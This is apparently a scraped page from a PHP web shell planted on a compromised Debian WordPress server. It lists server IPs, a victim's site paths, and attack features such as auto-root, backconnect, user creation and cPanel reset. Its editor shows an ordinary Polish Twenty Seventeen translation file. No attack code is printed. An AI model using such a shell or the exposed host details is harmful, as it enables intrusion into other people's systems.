Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.148.112.15
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ilpnowa /
web /
wp-content /
languages /
themes /
[ HOME SHELL ]
Name
Size
Permission
Action
twenty
[ DIR ]
drwxr-xr-x
twentyfifteen-pl_PL.mo
6.9
KB
-rwxrwxr-x
twentyfifteen-pl_PL.po
9.29
KB
-rwxrwxr-x
twentyseventeen-pl_PL.mo
7.19
KB
-rwxrwxr-x
twentyseventeen-pl_PL.po
10.29
KB
-rwxrwxr-x
twentysixteen-pl_PL.mo
7.15
KB
-rwxrwxr-x
twentysixteen-pl_PL.po
10.38
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : twentyseventeen-pl_PL.po
# Translation of Themes - Twenty Seventeen in Polish # This file is distributed under the same license as the Themes - Twenty Seventeen package. msgid "" msgstr "" "PO-Revision-Date: 2019-11-05 08:40:49+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" "X-Generator: GlotPress/2.4.0-alpha\n" "Language: pl\n" "Project-Id-Version: Themes - Twenty Seventeen\n" #. Description of the theme msgid "Twenty Seventeen brings your site to life with header video and immersive featured images. With a focus on business sites, it features multiple sections on the front page as well as widgets, navigation and social menus, a logo, and more. Personalize its asymmetrical grid with a custom color scheme and showcase your multimedia content with post formats. Our default theme for 2017 works great in many languages, for any abilities, and on any device." msgstr "Twenty Seventeen dzięki filmom w nagłówku oraz obrazkom przynosi witrynie więcej życia. Motyw polecany jest do witryn biznesowych i oferuje wiele sekcji na stronie głównej, a także widgety, menu nawigacyjne i społecznościowe, logo i wiele innych. Spersonalizuj swój asymetryczną siatkę, użyj niestandardowej kolorystyki i prezentuj multimedialne treści z wykorzystaniem formatów. Nasz domyślny motyw dla 2017 działa świetnie w wielu językach, w każdych warunkach i na dowolnym urządzeniu." #. Theme Name of the theme msgid "Twenty Seventeen" msgstr "Twenty Seventeen" #: template-parts/footer/footer-widgets.php:18 msgid "Footer" msgstr "Stopka" #: functions.php:338 msgid "Add widgets here to appear in your sidebar on blog posts and archive pages." msgstr "Dodaj widgety tutaj aby pojawiły się na panelu bocznym wpisów na blogu i stronach archiwum." #: sidebar.php:18 functions.php:336 msgid "Blog Sidebar" msgstr "Panel boczny na blogu" #: template-parts/navigation/navigation-top.php:31 #: template-parts/header/site-branding.php:34 msgid "Scroll down to content" msgstr "Przewiń do treści" #: functions.php:179 msgctxt "Theme starter content" msgid "Coffee" msgstr "Kawa" #: functions.php:175 msgctxt "Theme starter content" msgid "Sandwich" msgstr "Kanapka" #: functions.php:171 msgctxt "Theme starter content" msgid "Espresso" msgstr "Espresso" #: inc/custom-header.php:128 msgid "Pause background video" msgstr "Zatrzymaj film tworzący tło" #: inc/custom-header.php:127 msgid "Play background video" msgstr "Odtwarzaj film tworzący tło" #: inc/template-tags.php:151 msgid "Front Page Section %1$s Placeholder" msgstr "Miejsce dla sekcji %1$s strony głównej" #: inc/customizer.php:109 msgid "When the two-column layout is assigned, the page title is in one column and content is in the other." msgstr "Kiedy układ dwóch kolumn jest w uzyciu, tytuł strony jest w jednej kolumnie, a zawartość strony w pozostalej kolumnie.." #: single.php:34 msgid "Next Post" msgstr "Następny wpis" #: index.php:27 msgid "Posts" msgstr "Wpisy" #: inc/template-tags.php:89 msgid "Tags" msgstr "Tagi" #: inc/template-tags.php:85 msgid "Categories" msgstr "Kategorie" #. translators: used between list items, there is a space after the comma #: inc/template-tags.php:66 msgid ", " msgstr ", " #. translators: %s: post date #: inc/template-tags.php:52 msgid "<span class=\"screen-reader-text\">Posted on</span> %s" msgstr "<span class=\"screen-reader-text\">Opublikowane w</span> %s" #. translators: %s: post author #: inc/template-tags.php:21 msgid "by %s" msgstr "przez %s" #: inc/icon-functions.php:44 msgid "Please define an SVG icon filename." msgstr "Proszę podać nazwę pliku SVG." #: inc/icon-functions.php:39 msgid "Please define default parameters in the form of an array." msgstr "Proszę zdefiniować domyślne parametry w postaci tablicy." #: inc/customizer.php:143 msgid "Select pages to feature in each area from the dropdowns. Add an image to a section by setting a featured image in the page editor. Empty sections will not be displayed." msgstr "Z rozwijanego menu wybierz strony do wyróżnienia w każdym obszarze.. Dodaj zdjęcie do sekcji ustawiając wyróżnioną obraz w edytorze stron. Puste sekcje nie zostaną wyświetlone." #. translators: %d is the front page section number #: inc/customizer.php:142 msgid "Front Page Section %d Content" msgstr "Treść sekcji %d strony głównej" #: inc/customizer.php:112 inc/customizer.php:171 msgid "Two Column" msgstr "Dwie kolumny" #: inc/customizer.php:111 inc/customizer.php:170 msgid "One Column" msgstr "Jedna kolumna" #: inc/customizer.php:106 msgid "Page Layout" msgstr "Schemat strony" #: inc/customizer.php:89 msgid "Theme Options" msgstr "Opcje motywu" #: inc/customizer.php:64 msgid "Custom" msgstr "Własne" #: inc/customizer.php:62 msgid "Light" msgstr "Jasny" #: inc/customizer.php:60 msgid "Color Scheme" msgstr "Zestaw kolorów" #: inc/custom-header.php:56 msgid "Default Header Image" msgstr "Domyślny obrazek nagłówka" #: functions.php:360 msgid "Footer 2" msgstr "Stopka 2" #: functions.php:350 functions.php:362 msgid "Add widgets here to appear in your footer." msgstr "Tutaj dodaj widgety, które zostaną wyświetlone w stopce." #: functions.php:348 msgid "Footer 1" msgstr "Stopka 1" #: functions.php:289 msgctxt "Libre Franklin font: on or off" msgid "on" msgstr "on" #: template-parts/navigation/navigation-top.php:12 functions.php:64 #: functions.php:203 msgid "Top Menu" msgstr "Górne menu" #: comments.php:62 msgid "Reply" msgstr "Odpowiedz" #: template-parts/post/content-none.php:28 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "Nie udało się znaleźć tego, czego szukasz. Być może wyszukiwanie przyniesie lepsze rezultaty." #: search.php:54 msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords." msgstr "Brak wyników wyszukiwania. Proszę spróbować ponownie z innymi słowami." #: template-parts/post/content-none.php:24 msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>." msgstr "Gotów, by opublikować pierwszy post? <a href=\"%1$s\">Zacznij tutaj</a>. " #: template-parts/post/content-none.php:17 search.php:21 msgid "Nothing Found" msgstr "Niczego nie znaleziono" #: single.php:33 msgid "Previous Post" msgstr "Poprzedni wpis" #: single.php:33 comments.php:71 msgid "Previous" msgstr "Poprzedni" #: single.php:34 comments.php:72 msgid "Next" msgstr "Następny" #: searchform.php:20 msgctxt "submit button" msgid "Search" msgstr "Szukaj" #: searchform.php:19 msgctxt "placeholder" msgid "Search …" msgstr "Szukaj …" #: searchform.php:17 msgctxt "label" msgid "Search for:" msgstr "Szukaj:" #: search.php:19 msgid "Search Results for: %s" msgstr "Wyniki wyszukiwania dla zapytania „%s”" #. translators: %s: Name of current post #: template-parts/page/content-front-page-panels.php:45 #: template-parts/page/content-front-page.php:42 #: template-parts/post/content-audio.php:84 template-parts/post/content.php:57 #: template-parts/post/content-gallery.php:71 #: template-parts/post/content-video.php:83 #: template-parts/post/content-image.php:61 functions.php:390 msgid "Continue reading<span class=\"screen-reader-text\"> \"%s\"</span>" msgstr "Czytaj dalej<span class=\"screen-reader-text\"> %s</span>" #: inc/customizer.php:63 msgid "Dark" msgstr "Ciemny" #: inc/back-compat.php:39 inc/back-compat.php:52 inc/back-compat.php:70 msgid "Twenty Seventeen requires at least WordPress version 4.7. You are running version %s. Please upgrade and try again." msgstr "Twenty Seventeen wymaga WordPressa przynajmniej w wersji 4.7. Aktualnie używasz wersji %s. Zaktualizuj system i spróbuj ponownie." #. translators: %s: Name of current post #: inc/template-tags.php:117 msgid "Edit<span class=\"screen-reader-text\"> \"%s\"</span>" msgstr "Edytuj<span class=\"screen-reader-text\"> \"%s\"</span>" #: template-parts/page/content-page.php:26 #: template-parts/post/content-audio.php:91 template-parts/post/content.php:64 #: template-parts/post/content-gallery.php:78 #: template-parts/post/content-video.php:90 #: template-parts/post/content-image.php:68 msgid "Pages:" msgstr "Strony:" #: template-parts/navigation/navigation-top.php:17 msgid "Menu" msgstr "Menu" #: header.php:28 msgid "Skip to content" msgstr "Przeskocz do treści" #: functions.php:482 msgid "Collapse child menu" msgstr "Zwiń menu potomne" #: functions.php:481 msgid "Expand child menu" msgstr "Rozwiń menu potomne" #: functions.php:65 functions.php:214 msgid "Social Links Menu" msgstr "Menu odnośników serwisów społecznościowych" #: template-parts/footer/site-info.php:19 msgid "Proudly powered by %s" msgstr "Dumnie wspierane przez WordPressa" #: footer.php:26 msgid "Footer Social Links Menu" msgstr "Menu serwisów społecznościowych w stopce strony" #: comments.php:82 msgid "Comments are closed." msgstr "Możliwość komentowania jest wyłączona." #. translators: 1: number of comments, 2: post title #: comments.php:41 msgctxt "comments title" msgid "%1$s Reply to “%2$s”" msgid_plural "%1$s Replies to “%2$s”" msgstr[0] "%1$s odpowiedź do “%2$s”" msgstr[1] "%1$s odpowiedzi do “%2$s”" msgstr[2] "%1$s odpowiedzi do “%2$s”" #. translators: %s: post title #: comments.php:37 msgctxt "comments title" msgid "One Reply to “%s”" msgstr "Jedna odpowiedź do “%s”" #: archive.php:50 search.php:47 index.php:54 msgid "Page" msgstr "strona" #: 404.php:21 msgid "Oops! That page can’t be found." msgstr "Ups! Nie udało się znaleźć pożądanej strony." #: 404.php:24 msgid "It looks like nothing was found at this location. Maybe try a search?" msgstr "Wygląda na to, że w tym miejscu niczego nie ma. Może warto spróbować coś wyszukać?" #: archive.php:48 search.php:45 index.php:52 msgid "Previous page" msgstr "Poprzednia strona" #: archive.php:49 search.php:46 index.php:53 msgid "Next page" msgstr "Następna strona" #. Author of the theme msgid "the WordPress team" msgstr "zespół WordPressa" #. Theme URI of the theme msgid "https://wordpress.org/themes/twentyseventeen/" msgstr "https://wordpress.org/themes/twentyseventeen/" #. Author URI of the theme #: template-parts/footer/site-info.php:18 msgid "https://wordpress.org/" msgstr "https://pl.wordpress.org/"
Close